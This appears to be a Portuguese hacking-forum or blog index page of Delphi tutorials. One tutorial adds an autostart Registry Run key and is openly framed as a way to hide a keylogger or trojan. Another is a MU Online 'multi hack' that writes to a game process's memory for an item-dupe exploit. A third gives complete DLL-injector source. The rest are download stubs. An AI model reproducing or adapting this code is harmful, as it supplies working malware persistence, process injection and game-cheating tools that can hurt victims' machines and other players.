APLICAÇÕES INICIANDO COM O SISTEMA [DELPHI7]

 Iniciando Aplicativo Junto Com Windows.

Delphi 2007 [DELPHI7]

Primeiramente Devemos Adicionar Nas Uses: Registry.

Adicione abaixo de "type" depois "TForm1 = class(TForm)"os seguintes procedimentos:

procedure GravaRegistro(Raiz: HKEY; Chave, Valor, Endereco: string);

procedure ApagaRegistro(Raiz: HKEY; Chave, Valor : string);

Adicione abaixo de "implementation" os seguintes códigos:

procedure TForm1.GravaRegistro(Raiz: HKEY; Chave, Valor, Endereco: string);

var

Registro: TRegistry; // criando variável do tipo Tregistry

begin

Registro := TRegistry.Create(KEY_WRITE); // Chama o construtor do objeto

Registro.RootKey := Raiz; //Define a chave raiz

Registro.OpenKey(Chave, True); //Cria a chave

Registro.WriteString(Valor, '"' + Endereco + '"');//Grava o endereço da sua aplicação no Registro

Registro.CloseKey; // //Fecha a chave e o objeto

Registro.Free;

end;

procedure TForm1.ApagaRegistro(Raiz: HKEY; Chave, Valor: string);

var

Registro: TRegistry;

begin

Registro := TRegistry.Create(KEY_WRITE); // Chama o construtor do objeto

Registro.RootKey := Raiz;

Registro.OpenKey(Chave, True); //Cria a chave

Registro.DeleteValue(Valor); //Grava o endereço da sua aplicação no Registro

Registro.CloseKey; // Fecha a chave e o objeto

Registro.Free;

end;

No Evento OnShow do Form Adicione

GravaRegistro(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run',

'TeamTeste', ExtractFilePath(Application.ExeName) + 'NomedoPrograma.exe');

//TeamTeste Sera o Nome Que Ficara no msconfig..

Depois Estarei Ensinando Outras Formas De Esconder Seu KL, Trojan..

By Stres

Ver conteúdo completo

Criando Multi Hack MU Delphi By Picasso

                                                                      Coders
                                                            Button Captura Processo
                                                                 PegarHandle('Main');
                                                                     Button Dupe
                                           escreve (StrToInt ('$' + '083A9444'), StrToInt ('1'));
                                                                             Var
                                                                              var
                                                                  Form1: TForm1;
                                                                  NomeJanela : THandle;
                                                                  PHandle : THandle;
                                                                  PID, TID, R : DWORD;
                                                                  Escrever : DWORD; 
                                                                         {$E*.dfm}

         Procedure PegarHandle(Titulo:String);

   Begin

        NomeJanela := FindWindow(nil, pChar (Titulo));

             If NomeJanela <= 0 Then

 Showmessage('Erro. Este processo não está em execução.')

    else

TId := GetWindowThreadProcessId(NomeJanela, @PID);

           PHandle := OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);

    end;

          Procedure ler(Endereco:dword);

  var

    Ler:dword;

    valor:integer;

begin

valor:= 0;

ReadProcessMemory(PHandle,pointer(endereco),addr(valor),4,Ler);

end;

Procedure escreve(Endereco:dword ; valor: integer);

var

w:dword;

begin

writeprocessmemory(PHandle,pointer(endereco),addr(valor),4,w);

end; 

Ver conteúdo completo

Criando Injetor de Dlls em Delphi By Picasso

                                           
2Label
 2Edit                                         
2Button
1Timer
1OpenDialog



Coder

 unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, TlHelp32;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    Timer1: TTimer;
    Button2: TButton;
    Label1: TLabel;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function GetPID(ProcessName: string): DWORD;
var MyHandle: THandle;
    Struct: TProcessEntry32;
begin
 Result:=0;
 try
  MyHandle:=CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  Struct.dwSize:=Sizeof(TProcessEntry32);
  if Process32First(MyHandle, Struct) then
   if Struct.szExeFile=ProcessName then
    begin
     Result:=Struct.th32ProcessID;
     Exit;
    end;
  while Process32Next(MyHandle, Struct) do
   if Struct.szExeFile=ProcessName then
    begin
     Result:=Struct.th32ProcessID;
     Exit;
    end;
 except on exception do
  Exit;
 end;
end;

function InjectDll(PID:DWORD; sDll:string):Boolean;
var
hLib:     Pointer;
hThread:  THandle;
pMod:     Pointer;
hOpen:    THandle;
dWritten: Cardinal;
ThreadID: Cardinal;
begin
  Result := FALSE;
  hOpen := OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
  if hOpen <> INVALID_HANDLE_VALUE then
  begin
    hLib := GetProcAddress(GetModuleHandle(PChar('kernel32.dll')), PChar('LoadLibraryA'));
    pMod := VirtualAllocEx(hOpen, nil, Length(sDll) + 1, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if WriteProcessMemory(hOpen, pMod, @sDll[1], Length(sDll), dWritten) then
      Result := TRUE;
    hThread := CreateRemoteThread(hOpen, nil, 0, hLib, pMod, 0, ThreadID);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hOpen);
    CloseHandle(hThread);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 if not OpenDialog1.Execute then Exit;
 Edit2.Text:=OpenDialog1.FileName;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 Timer1.Enabled:=True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var PID: DWORD;
begin
 Timer1.Enabled:=False;
 PID:=GetPID(Edit1.Text);
 if PID=0 then
  begin
   Timer1.Enabled:=True;
   Exit;
  end;
 Timer1.Enabled:=False;
 if InjectDll(PID, Edit2.Text) then
  MessageBoxA(Handle, 'DLL injetada com sucesso!', 'DLL Injector', MB_ICONEXCLAMATION+MB_SYSTEMMODAL)
 else
  MessageBoxA(Handle, 'Erro ao injetar DLL.', 'DLL Injector', MB_ICONERROR+MB_SYSTEMMODAL);
end;

end.

Ver conteúdo completo

Criando Flood Text Simples Em Delphi

                   Criando Flood Text Simples Em Delphi

                                       Vídeo:
      

                              Download Source :
                                                                Mediafire

                               Scan Source :
                                                                              Vírus Total 

                             Download Códigos :
                                                              Mediafire 

                                                    By: STRES

Ver conteúdo completo

Colocando Skins no Form do Delphi 7 By: Stres

         
                                                                                   
                                                                                    Download
                                        Scan
                                     
                                     By: Stres

Ver conteúdo completo

Criando sistema de Login Básico Delphi7 By: Stres

                                                                  Download Code 

                                                                             
                                  By:Stres

Ver conteúdo completo